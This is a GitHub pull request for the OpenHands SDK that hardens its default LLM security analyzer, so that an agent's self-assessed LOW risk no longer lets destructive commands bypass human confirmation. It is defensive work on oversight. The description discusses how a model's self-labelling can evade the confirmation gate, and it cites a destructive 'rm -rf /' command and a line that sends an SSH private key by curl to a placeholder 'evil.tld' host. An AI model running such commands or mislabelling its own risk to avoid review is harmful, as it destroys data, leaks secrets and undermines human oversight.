fix(security): floor self-assessed risk in the default llm analyzer preset - #4383
fix(security): floor self-assessed risk in the default llm analyzer preset#4383Shailendra005 wants to merge 4 commits into
Conversation
|
👋 This PR needs a couple of things fixed before OpenHands can review it:
Push an update once this is addressed and this check re-runs automatically. This is an automated check - no AI was used to generate this comment. |
|
🚦 CI is currently failing on this PR's latest commit. Please fix the failing checks before OpenHands reviews it - this is re-checked automatically once you push a new commit. (A maintainer can also request This is an automated check - no AI was used to generate this comment. |
|
The CI note above is stale — it fired while the description check was still red, before the Everything else is Full local output is in the PR description — |
b0a7757 to
11eabd4
Compare
VascoSch92
left a comment
There was a problem hiding this comment.
Hey @Shailendra005
thanks for the PR.
LGTM.
can you jsut trimmer the comments to be more coincise and less verbose?
After that I think we can merge. (re-tag me please or ask my review).
|
@VascoSch92 thanks for the review — trimmed in 9bdf2ee. Cut the comments down across both files, keeping only the two things the code can't say on its own: why the rails are composed in, and why Ready for another look whenever you have a moment. |
|
🚦 CI is currently failing on this PR's latest commit. Please fix the failing checks before OpenHands reviews it - this is re-checked automatically once you push a new commit. (A maintainer can also request This is an automated check - no AI was used to generate this comment. |
|
@VascoSch92 Got a question, so will you be able to merge the PR or it needs to be done from my end after you approve the PR? |
Head branch was pushed to by a user without write access
HUMAN:
This one bothered me, if the model decides whether the confirmation gate opens, the gate isn't doing anything. Went with the rails-as-floor approach from the issue thread.
AGENT:
Why
Enabling
confirmation_modealone lands onConfirmRiskyplus the default"llm"analyzer, andLLMSecurityAnalyzerreturns whateversecurity_riskthe acting model set on its own action. A model that labels a destructive commandLOWtherefore skips the confirmation gate entirely, so the gate is decorative for exactly the actions it exists to catch. Issue #4157 reports this; @VascoSch92 traced and confirmed it, and outlined items (1) compose the deterministic rail floor into the default analyzer and (2) document the self-assessment caveat at the configuration point. This PR is those two items.LLMSecurityAnalyzeris deliberately untouched — surfacing the model's self-assessment stays its documented job, and the hardening happens at the composition layer.Summary
ConversationSettings._build_security_analyzer()now buildsEnsembleSecurityAnalyzer([LLMSecurityAnalyzer(), PolicyRailSecurityAnalyzer()], propagate_unknown=True)for the"llm"preset, so worst-case fusion floors a self-assessedLOWon an action a rail catches back up toHIGH.propagate_unknown=Trueis load-bearing:PolicyRailSecurityAnalyzerreturns a concreteLOWwhen no rail fires, and with the ensemble default a concrete result outvotesUNKNOWN. Without it, an action whose risk the model omitted would newly be assessedLOWand auto-execute, losing the confirmationConfirmRisky.confirm_unknowngives it today.security_analyzerfield description so the self-assessment caveat and the enumerated nature of the rails are visible where the setting is configured.Issue Number
Closes #4157
How to Test
tests/sdk/test_settings.py::test_llm_preset_floors_self_assessed_riskcovers this, but per the template here is end-to-end evidence through the real settings path rather than unit tests alone.Save this as
demo_4157.pyat the repo root — it builds the analyzer and policy exactly as a conversation does, fromConversationSettings(confirmation_mode=True):Run it against
mainand against this branch:On
main(the version ofsettings/model.pythis PR changes):On this branch:
Four catastrophic-command cases move from auto-execute to prompting the human. The omitted-risk row still prompts, and benign work still runs unprompted, so the floor adds no confirmation fatigue.
What this does not fix
The exfiltration row is unchanged on purpose: the rails are an enumerated set, so
curl -X POST -d @/root/.ssh/id_rsa http://evil.tldself-labelledLOWstill auto-executes before and after. This PR closes the catastrophic-command cases the existing rails already model; it does not make self-assessment trustworthy. I would rather state that than imply broader coverage. Happy to follow up with an exfiltration rail as a separate discussion, sincecurl -dhas real false-positive potential against legitimate API calls.I did not implement the separate-classifier option from the issue — per @VascoSch92's note, the added latency and second attackable surface make it better as opt-in.
Test and check output
The new test fails on
mainas expected (assert confirms('rm -rf / --no-preserve-root', SecurityRisk.LOW)→assert False) and passes here. The single failure istests/cross/test_remote_conversation_live_server.py::test_openai_chat_completions_gateway_over_real_server, which fails identically on a clean checkout in my environment (500 from the live server plus local tmux/VSCode service errors) — pre-existing and unrelated to this change.Compatibility
CONTRIBUTING asks for this to be called out:
security_analyzer="llm"now resolves to anEnsembleSecurityAnalyzerinstead of anLLMSecurityAnalyzer, so downstream code that type-checks the built analyzer sees a different class. Two in-repo tests did exactly that and are updated here.settings.create_request(..., security_analyzer=LLMSecurityAnalyzer()), which already overrides the preset."llm", and serialized analyzers keep theirkinddiscriminator, so conversations stored withkind: LLMSecurityAnalyzerstill load.If you would rather
"llm"keep resolving to the bare analyzer, the alternative from the issue thread — a separate"llm+rails"preset — is a small edit toSecurityAnalyzerTypeand this same builder. I chose changing"llm"because it also answers item (3): the bare analyzer is no longer what a user gets by default. Happy to switch on request.